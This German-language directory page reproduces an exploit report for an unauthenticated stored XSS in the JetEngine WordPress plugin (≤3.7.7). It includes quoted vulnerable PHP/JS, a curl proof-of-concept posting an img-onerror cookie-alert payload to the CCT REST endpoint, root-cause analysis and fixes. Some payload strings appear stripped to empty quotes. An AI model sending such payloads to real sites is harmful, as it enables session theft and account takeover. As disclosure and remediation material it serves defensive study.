Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-67923 — JetEngine <= 3.7.7 — Nicht authentifiziertes gespeichertes Cross-Site-Scripting über die CCT REST API | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2025-67923
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitAPI-Sicherheit
GitHubrandomrobbiebf/cve-2025-67923

CVE-2025-67923

JetEngine <= 3.7.7 — Nicht authentifiziertes gespeichertes Cross-Site-Scripting über die CCT REST API

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-67923 Exploit-Bericht

JetEngine <= 3.7.7 — Nicht authentifiziertes gespeichertes Cross-Site-Scripting über die CCT-REST-API

Datum: 11. März 2026 CVSS-Score: 7.1 (Hoch) CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Betroffenes Plugin: JetEngine <= 3.7.7 Plugin-Slug: jet-engine Behoben in: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Forscher: Bonds (über Patchstack) Gemeldet: 19. Oktober 2025 Offengelegt: Januar 2026 Getestete WordPress-Version: Aktuellste


Zusammenfassung

CVE-2025-67923 ist eine Schwachstelle für nicht authentifiziertes gespeichertes Cross-Site-Scripting im JetEngine-WordPress-Plugin, die alle Versionen bis einschließlich 3.7.7 betrifft. Ein nicht authentifizierter Angreifer kann über die öffentliche REST-API beliebiges HTML/JavaScript in ein Textfeld eines Custom Content Type (CCT) schreiben. Dieses wird anschließend über eine innerHTML-Senke im JavaScript des Maps-Listing-Widgets unbereinigt in das DOM injiziert, wenn ein Opfer eine Seite besucht, die dieses Widget enthält.

Der Angriff erfordert keine Authentifizierung und keine Berechtigungen. Er erfordert lediglich Folgendes:

  1. Es existiert ein JetEngine-CCT, dessen REST-API-Schreibzugriff auf public gesetzt ist.
  2. Ein Maps-Listing-Widget auf einer beliebigen Frontend-Seite ist so konfiguriert, dass es das Textfeld dieses CCT als Karten-Marker-Beschriftung anzeigt.

✅ SCHWACHSTELLE BESTÄTIGT — Gespeicherte XSS-Payload geschrieben und ausgeführt

Bestätigte Auswirkungen:

  • Beliebiges HTML/JS wird ohne Authentifizierung und ohne Bereinigung in der CCT-Datenbank gespeichert
  • XSS wird bei jedem Besucher ausgelöst, der eine Seite mit dem Maps-Listing-Widget lädt
  • Cookie-Diebstahl, Session-Hijacking, Ernte gespeicherter Anmeldedaten, Übernahme des Admin-Kontos

Details zur Schwachstelle

Technische Zusammenfassung

Die Schwachstelle ist eine Kombination aus zwei unabhängigen Fehlern:

  1. Fehlende Eingabebereinigung (Speicherung): Die Methode sanitize_field_value() des CCT-Item-Handlers besitzt keinen Bereinigungspfad für Felder vom Typ text. Der default:-Fall konvertiert nur Zeitstempel — rohes HTML passiert unverändert und wird in der Datenbank gespeichert.

  2. DOM-basierte XSS-Senke (Rendering): Das Maps-Listing-Widget liest den gespeicherten Feldwert über get_marker_label(), kapselt ihn für das HTML-Attribut data-markers in htmlspecialchars(json_encode(...)), und das JavaScript-Frontend liest das Attribut mit getAttribute() (das HTML-Entitäten dekodiert) und fügt markerData.label anschließend direkt über innerHTML ein — wodurch eingebettetes HTML/JavaScript ausgeführt wird.

Betroffene Komponenten


Exploit-Kette

Schritt 1 — Nicht authentifizierter REST-Schreibzugriff

Der öffentliche REST-Controller des CCT prüft Berechtigungen über check_user_permissions():

root@kitploit:~
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
    $content_type = $this->get_content_type_from_request( $request );
    $cap = $content_type->get_arg( $context );

    if ( ! $cap || 'public' === $cap ) {
        return true;  // No authentication required
    } else {
        return current_user_can( $cap );
    }
}

public function create_item_permissions_check( $request ) {
    return $this->check_user_permissions( $request, 'rest_put_access' );
}

Wenn ein CCT mit rest_put_access = 'public' konfiguriert ist (eine unterstützte, dokumentierte Konfiguration für öffentlich zugängliche Formulare), ist der Endpunkt vollständig ohne Authentifizierung erreichbar. Jeder HTTP-Client kann eine POST-Anfrage an /wp-json/jet-cct/{slug} senden.

Schritt 2 — Speicherung ohne Bereinigung

Der REST-Handler ruft $handler->update_item($params) auf, wodurch sanitize_field_value() erreicht wird:

root@kitploit:~
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
    $type = isset( $field['type'] ) ? $field['type'] : false;

    switch ( $type ) {
        case 'repeater':    // sanitizes sub-fields
            // ...
        case 'checkbox':    // handles boolean arrays
        case 'checkbox-raw':
            // ...
        case 'media':
        case 'gallery':     // sanitizes media JSON
            // ...
        case 'wysiwyg':
            $value = jet_engine_sanitize_wysiwyg( $value );  // sanitized
            break;

        default:
            // TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
            $value = $this->factory->maybe_to_timestamp( $value, $field );
    }

    return $value;
}

Ein Feld vom Typ text erreicht den default:-Zweig. maybe_to_timestamp() gibt den Wert bei Nicht-Datum-Strings unverändert zurück. Die XSS-Payload `` wird unverändert gespeichert.

Schritt 3 — Beschriftung wird ohne Escaping abgerufen

Wenn das Maps-Listing-Widget rendert, liest get_marker_label() das Feld:

root@kitploit:~
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {

    // ...
    switch ( $label_type ) {
        case 'meta_field':
            $field = $settings['marker_label_field'];
            if ( $field ) {
                $result = jet_engine()->listings->data->get_meta( $field, $post );
                // No esc_html() here — raw value returned
            }
            break;
    }

    return $result;  // Returns ""
}

Der zurückgegebene Wert wird in das Marker-Daten-Array eingefügt:

root@kitploit:~
// render.php:231-237
$result[] = array(
    'id'        => $post_id,
    'latLang'   => $latlang,
    'label'     => $this->get_marker_label( $post, $settings ),  // raw XSS payload
    // ...
);

Schritt 4 — Attributkodierung verhindert innerHTML-XSS nicht

Das Marker-Array wird für ein HTML-Attribut kodiert:

root@kitploit:~
// render.php:247
return htmlspecialchars( json_encode( $result ) );

json_encode serialisiert `` als den String "". htmlspecialchars kodiert anschließend das gesamte JSON als HTML und erzeugt:

root@kitploit:~
[{...,&quot;label&quot;:&quot;&lt;img src=x onerror=alert(1)&gt;&quot;,...}]

Dies wird in das HTML-Attribut data-markers geschrieben. Die Kodierung schützt nur die Attributgrenze. Wenn JavaScript das Attribut liest, dekodiert der Browser die HTML-Entitäten und stellt die ursprünglichen Zeichen wieder her:

root@kitploit:~
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''

Schritt 5 — innerHTML-Injektion (XSS wird ausgelöst)

In frontend-maps.js wird der rohe Beschriftungs-String direkt in einen HTML-Inhaltsstring eingefügt:

root@kitploit:~
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//   
// </div>'

Dieser Inhaltsstring wird anschließend als innerHTML des Marker-Elements gesetzt:

root@kitploit:~
// mapbox-maps.js:175
el.innerHTML = data.content;  // XSS FIRES

// leaflet-maps.js:34
contentHtml.innerHTML = content;  // XSS FIRES

Jeder Besucher, der eine Seite mit dem Maps-Listing-Widget lädt, löst die Payload aus.


Proof of Concept

Voraussetzungen

  1. Die JetEngine-Module maps-listings und custom-content-types sind aktiviert.
  2. Ein CCT namens locations (Slug: locations) existiert mit:
    • rest_put_enabled = true
    • rest_put_access = 'public'
    • Ein Feld vom Typ text mit dem Namen label
  3. Ein Maps-Listing-Widget auf einer beliebigen Frontend-Seite ist konfiguriert mit:
    • marker_type = 'text'
    • marker_label_type = 'meta_field'
    • marker_label_field = 'label'

Schritt 1 — XSS-Payload schreiben (ohne Authentifizierung)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
  -H 'Content-Type: application/json' \
  -d '{
    "name": "Test Location",
    "label": "",
    "lat": "51.5074",
    "lng": "-0.1278"
  }'

Antwort:

root@kitploit:~
{"success": true, "item_id": 1}

Schritt 2 — Speicherung der rohen Payload bestätigen

root@kitploit:~
curl -s 'http://TARGET/wp-json/jet-cct/locations'

Antwort:

root@kitploit:~
[{
  "_ID": "1",
  "name": "Test Location",
  "label": "",
  "lat": "51.5074",
  "lng": "-0.1278"
}]

Das ``-Tag wird unverändert gespeichert — es erfolgte keine Bereinigung.

Schritt 3 — XSS auslösen (Opfer besucht Seite)

Jeder authentifizierte oder nicht authentifizierte Besucher, der eine Seite mit dem Maps-Listing-Widget lädt, führt die Payload aus. Das gerenderte HTML-Attribut enthält:

root@kitploit:~
<div class="jet-map-box"
  data-markers="[{...&quot;label&quot;:&quot;&lt;img src=x onerror=alert(document.cookie)&gt;&quot;...}]"
  data-general="...">
</div>

JavaScript liest data-markers, dekodiert HTML-Entitäten, parst das JSON und fügt es in das DOM ein:

root@kitploit:~
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)

Live-Demonstration — End-to-End-Payload-Fluss

root@kitploit:~
Attacker                     WordPress REST API              Victim Browser
   |                               |                               |
   |-- POST /wp-json/jet-cct/ ---> |                               |
   |   {"label":" |
   |                               |                    el.innerHTML = label
   |                               |                    onerror=alert() FIRES

Ursachenanalyse

Ursache 1 — text-Felder von der Bereinigung ausgenommen

sanitize_field_value() behandelt wysiwyg explizit mit einer auf wp_kses basierenden Bereinigung, platziert aber alle anderen String-Typen in einen default:-Zweig, der kein HTML-Escaping durchführt. Die Annahme, dass text-Felder Klartext sind, wird verletzt, wenn diese Werte später über den innerHTML-Pfad des Maps-Widgets als HTML gerendert werden.

Ursache 2 — htmlspecialchars falsch angewendet

htmlspecialchars(json_encode($result)) wird angewendet, um die HTML-Attributgrenze zu schützen. Das ist korrekt und notwendig — aber es reicht nicht aus, um XSS zu verhindern, wenn der Wert später über JavaScript ausgelesen und über innerHTML in das DOM eingefügt wird. Die Kodierung ist durch den Browser umkehrbar. Die korrekte Lösung besteht darin, esc_html() (oder htmlspecialchars) auf den einzelnen label-Wert vor der JSON-Kodierung anzuwenden, sodass die Payload im JSON als entitätskodierter Text gespeichert wird. Wenn JavaScript sie über innerHTML einfügt, rendert der Browser &lt;img&gt; als Text und nicht als HTML-Tag.

Alternativ kann in dem JavaScript für das Beschriftungsfeld innerHTML durch textContent ersetzt werden.

Ursache 3 — Unzureichende Reichweite der Bereinigungsrichtlinie

Der Schreibpfad der REST-API (update_item) behandelt nicht alle gespeicherten Werte als potenzielle HTML-Senken. Die Bereinigungsrichtlinie ist nur pro Feldtyp definiert, wobei text-Felder stillschweigend ausgenommen sind, obwohl sie über das Maps-Widget im Frontend als HTML gerendert werden.


Behebung


Zeitleiste

DatumEreignis
19. Oktober 2025Schwachstelle von Forscher "Bonds" über Patchstack gemeldet
Januar 2026Öffentliche Offenlegung
Januar 2026JetEngine 3.7.8 mit Fix veröffentlicht
11. März 2026Unabhängig mit vollständigem PoC reproduziert

Referenzen

  • Wordfence Advisory — CVE-2025-67923
  • Patchstack Advisory
  • JetEngine Changelog — 3.7.8
  • OWASP — Stored XSS
  • OWASP — DOM-Based XSS
  • CWE-79: Improper Neutralization of Input During Web Page Generation
Tool herunterladen
DateiProblem
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424create_item_permissions_check gibt true zurück, wenn CCT rest_put_access = 'public' — keine Authentifizierung erforderlich
includes/modules/custom-content-types/inc/item-handler.php:489default:-Zweig von sanitize_field_value() — keine HTML-Bereinigung für text-Felder
includes/modules/maps-listings/inc/render.php:233get_marker_label() gibt rohen Metawert ohne esc_html() zurück
includes/modules/maps-listings/inc/render.php:247htmlspecialchars(json_encode($result)) — schützt nur die Attributgrenze, keine innerHTML-Injektion
includes/modules/maps-listings/assets/js/frontend-maps.js:112pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — rohe Beschriftung wird in HTML-String eingefügt
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175el.innerHTML = data.content — XSS-Ausführungssenke
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34contentHtml.innerHTML = content — XSS-Ausführungssenke
BehebungDateiBeschreibung
text-Felder beim Speichern bereinigenitem-handler.php:sanitize_field_value()$value = wp_kses($value, []) oder sanitize_text_field($value) im default:-Zweig hinzufügen
Beschriftung beim Rendern escapenrender.php:get_marker_label()esc_html($result) anwenden, bevor der Beschriftungswert zurückgegeben wird
textContent anstelle von innerHTML für Beschriftungen verwendenfrontend-maps.js, mapbox-maps.js, leaflet-maps.jsel.innerHTML = data.content durch sichere DOM-Konstruktion ersetzen, wenn der Inhalt reiner Beschriftungstext ist
Standardwert für REST-Schreibzugriff einschränkenPlugin-EinstellungenDen Standardwert für rest_put_access anstelle von public auf manage_options ändern; eine explizite Zustimmung erforderlich machen